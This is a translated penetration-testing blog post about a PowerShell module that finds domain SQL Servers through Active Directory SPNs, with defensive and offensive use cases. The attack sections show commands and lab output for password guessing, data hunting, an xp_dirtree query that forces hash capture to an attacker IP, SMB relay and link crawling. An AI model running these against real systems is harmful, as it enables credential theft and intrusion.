无须扫描, 直接定位并攻击域内的SQL Server

在这篇博客中,我将分享一个新颖的PowerShell脚本。

它不借助扫描,而是利用活动目录(Active Directory)中的服务主体名称(SPN-Service Principal Name)记录识别并攻击Windows域内的SQL Server。

最初,我编写这段脚本是为了在渗透测试的过程当中帮助提权和定位危险数据。但接下来,我将向攻防双方展示这个脚本是如何发挥威力的。

非扫描式嗅探SQL Server

如果你没有凭证或正在搜寻域外的SQL Server,那么利用多种扫描技术来定位SQL Server服务是很有用的。但这个过程往往繁琐耗时,经常还会因为未知网段、非标准端口以及广播域的限制而漏过SQL服务器。因此,当我发现活动目录 (Active Directory)下的服务主体名称(SPN)时,我意识到我找到了一个在Windows域中定位SQL Server的的快捷方法。

微软文档指出:“服务主体名称(SPN)是由客户端对一个服务实例进行唯一标识的名称”。这意味着安装到Windows域中的每个服务都会被注册到活动目 录(Active Directory)中——包括SQL Server。这样一来,无须执行扫描操作,任何域用户通过查询活动目录服务(ADS)就可以获取当前域的完整的SQL Server服务列表。此外,SPNs还包括合法的实例名称和端口,这就省去了你自己再去探测它们的麻烦。想了解有关SPN的更多信息,可以查看这篇博客 利用LDAP快速提升域权限 Faster Domain Escalation Using LDAP

知道了可以利用AD中的SPN信息这点固然很好,但我很快意识到:在渗透测试中我需要一个 更自动化 的解决方案。

利用Get-SQLServerAccess PowerShell模块实现自动化处理

在实验室研究一番后,我认为我应该写一个脚本实现自动化,它能够通过LDAP自动从ADS中获取SQL Server的列表并检测当前域用户在每个SQL Server上都具体拥有哪些权限。于是我又拾起了PowerShell,它提供了我所需要的一切。比如,标准的PowerShell v3安装版包含了LDAP查询,SQL Server查询,IP解析,ICMP请求,多种数据结构等等。这些功能开箱即用,无须导入其他的库,指令和模块。

在少量反复修改后,我将其打包成一个PowserShell模块,命名为”Get-SqlServer-Escalate- CheckAccess.psml“。我试着补充尽量多的选项以便于防护者能快捷地识别危险特权,也利于攻击者发现可用于提升域权限的软肋。它非常便于对 于数据存储位置进行简单定位。下面我重点介绍攻击者和防护者常用的一些功能。

由于我将Get-SqlServer-Escalate-CheckAccess写成了一个PowerShell模块,因此对于那些不熟悉的人,我会先介绍安装步骤。

安装 /Get-SqlServer-Escalate-CheckAccess 模块

这个脚本可以从我的 github 下载,有时我也会将其提交到Posh-SecMod项目。但不管怎样,请注意该模块需要PowerShell v3环境。将Get-SqlServer-Escalate-CheckAccess.psml手动下载到下面两个位置中任意一处即可完成模块安装:

%USERPROFILE%\\Documents\\Windows\\PowerShell\\Modules\\Get-SqlServer-Escalate-CheckAccess.psm1
%WINDIR%\\System32\\Windows\\PowerShellv1.0\\Modules\\Get-SqlServer-Escalate-CheckAccess.psm1

或者使用这个命令导入模块:

Import-Module c:\\temp\\Get-SqlServer-Escalate-CheckAccess.psm1

然后可以通过这句语言判断是否导入成功(或直接运行)

Get-Command Get-SqlServer-Escalate-CheckAccess

 

防护者用例

数据库管理员通常都会给所有的域用户添加登录SQL Server的权限,这是因为他们自己往往也不清楚域用户组倒底需要什么权限。此外,老版本的SQL Server由于权限继承的问题(此前我有博文专门提及),默认允许域用户登录。这些错误配置使得域用户无须认证权限就能访问数据和系统。快速识别这些错误配置对防护者是很有帮助的,便于其依次修正这些错误。

Get-SqlServer-Escalate-CheckAccess脚本的默认输出会列出允许当前域用户登录的SQL Server。此外,如果用户拥有SQL Server的sysadmin权限而且运行SQL Server服务的用户是域管理员,该输出还会显示SQL Server实例的名称。下面这些例子我想是对防护者非常有用的。

 

1.通过LDAP查询从ADS中获取SQL Server列表,并尝试用当前域用户登录每个SQL Server实例。下面是默认输出:

PS C:\Get-SqlServer-Escalate-CheckAccess
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomainmyuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomainmyuser...
[*] ----------------------------------------------------------------------
[-] Failed   - server1.mydomain.com is not responding to pings
[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------

 

2.通过LDAP查询从ADS中获取SQL Server的列表,尝试以当前域用户登录每个SQL Server实例。该例将所有输出结果保存到CSV文件:

PS C:\Get-SqlServer-Escalate-CheckAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomainmyuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomainmyuser...
[*] ----------------------------------------------------------------------
[-] Failed   - server1.mydomain.com is not responding to pings
[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00       [*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------

下面是一个例子输出结果的截图:

SS_Attack_SQL_052614_3

上面的例子展示的是我在实验室中测试的结果,但在真实环境中我往往会嗅探出成百上千的服务器。出于兴趣,我建议你以一个域帐户来运行此脚本。使用“psexec.exe –s –i cmd.exe “即可启动一个LocalSystem shell,然后运行上述脚本。我想你会惊讶于当前域帐户可以访问多少台SQL Server(我还记得我当时有多吃惊...)。接下来该讲述攻击的例子。

攻击者用例

有很多针对SQL Server的攻击方法,但下面我要展示的,是如何借助这个脚本运行其中的五种攻击方法。

 

1.弱口令猜测 仍是一种有效的攻击方法。在每个客户端环境中,我们通常都会发现少量配置弱口令的SQL Server。登录名一般包含sa,test,dba,user和sysadmin,蜜码一般包含[用户名],[公司名],password,Password1和SQL。虽然市面上已有很多密码猜解工具,但我出于兴趣仍添加了选项以提供一个订制的SQL登录器来验证在ADS中发现的SQL Server实例,下面是一个例子,注意:这个选项对于在多服务器上试探SQL Server登录也很方便。

PS C:\Get-SqlServer-Escalate-CheckAccess -sqluser test -sqlpass test
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomainmyuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as test...
[*] ----------------------------------------------------------------------
[-] Failed   - server1.mydomain.com is not responding to pings
[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication failed
[+] Failed   - server3.mydomain.com,1433 (192.168.1.103) is up, but authentication failed
[+] Failed   - server3.mydomain.comSQLEXPRESS (192.168.1.103) is up, but authentication failed
[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: No - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 1 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------

 

2.搜索敏感数据 一直是非常重要的。使用自定义的”-query“参数能够在每个可用的SQL Server实例上查询你感兴趣的信息。下面的例子展示了怎样列出当前用户在每台服务器上可访问的数据库。

PS C:\Get-SqlServer-Escalate-CheckAccess -query "select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1"
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomainmyuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as test...
[*] ----------------------------------------------------------------------
[-] Failed   - server1.mydomain.com is not responding to pings
[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103)-Sysadmin:No - SvcIsDA:No
[+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
[+] Query output:

Databases
---------
master
tempdb
msdb

[+] SUCCESS! - server3.mydomain.comSQLEXPRESS(192.168.1.103)-Sysadmin:No-SvcIsDA:No
[+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
[+] Query output:

Databases
---------
master
tempdb
msdb

[+] SUCCESS! - server4.mydomain.comAppData(192.168.1.104)-Sysadmin: Yes-SvcIsDA: Yes
[+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
[+] Query output:

Databases
---------
master
tempdb
msdb
PCIDataDB
ApplicationDB
CompanySecrects

[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------

 

3.俘获并破解服务账户的密码哈希值 在渗透测试时仍是获得SQL Server服务账户的一种有效的攻击方法。在很多用例中,服务账户都拥有其下环境中所有SQL Server数据库的管理员权限,有时该账户可能还拥有域管理员特权。我此前已就"俘获并传递SQL Server服务帐户的密码哈希"这个话题写了一篇 博文 。下例中,我将展示如何使用“-query”参数迫使SQL Server验证通过来自192.168.1.50的攻击者。

PS C:\Get-SqlServer-Escalate-CheckAccess -query "exec master..xp_dirtree '\\192.168.1.50\file'"
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomainmyuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomainmyuser...
[*] ----------------------------------------------------------------------
[-] Failed   - server1.mydomain.com is not responding to pings
[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\\file'
[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\\file' [+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\\file'
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------

Responder是一个在SQL Server之间俘获正在发送中的密码哈希的出色工具,可以从 Responder github 下载,俘获的哈希值可以利用诸如 OCLHashcat 这样的工具来破解。

 

4.利用共享SQL Server服务账户构造SMB中继攻击 几乎一直有效。但麻烦之处在于找出哪些SQL Server被配置为使用同一个服务账户。要解决这个问题,我在脚本上添加了几个参数用于从所有可访问的服务器中俘获并显示服务账户。这些参数是“-showsum”和“-showstatus”。服务账户可以输出为一个csv文件。一旦发现了服务账户,我 前一篇博文 提到的方法恰可用于在操作系统这一级上接管SQL Server。下面的这个简单的例子展示了如何发现共享同一个服务账户的SQL Server:

PS C:\Get-SqlServer-Escalate-CheckAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomainmyuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomainmyuser...
[*] ----------------------------------------------------------------------
[-] Failed   - server1.mydomain.com is not responding to pings
[+] SUCCESS! - server2.mydomain.comAppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.comAppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------

 

在这个例子中,你可以看到有三台服务器使用同一个域服务账户

SS_Attack_SQL_052614_4

 

5.爬取数据库链接,再利用sysadmin特权运行查询 几乎是我们在每个环境下都会使用的方法。Antti Rantasaari在他的博文“ 如何在SQL Server中黑掉数据库链接 ”中对数据库链接进行了非常好的介绍。不久前,我们也为攻击数据库链接写了一个 Metasploit 模块。尽管你可以盲目地对数据库链接进行穷举遍历,但我认为利用该脚本从每个可访问的SQL Server中抓取链接要更加方便。你可以使用“-showsum”和“-showstatus”参数来显示链接。与上例类似,该例中的结果也可以保存为csv,如下:

PS C:\Get-SqlServer-Escalate-CheckAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomainmyuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomainmyuser...
[*] ----------------------------------------------------------------------
[-] Failed   - server1.mydomain.com is not responding to pings
[+] SUCCESS! - server2.mydomain.comAppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.comAppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------

 

你可以看到上例中两个服务器有存在活动的服务器连接,可能会被暗中利用。

SS_Attack_SQL_052614_5

完结

试试下载该脚本用于发现和修补漏洞,享受黑客的乐趣和荣誉!

 

【原文:locate-and-attack-domain-sql-servers-without-scanning 翻译:yiyanghuadan

源链接

Hacking more

...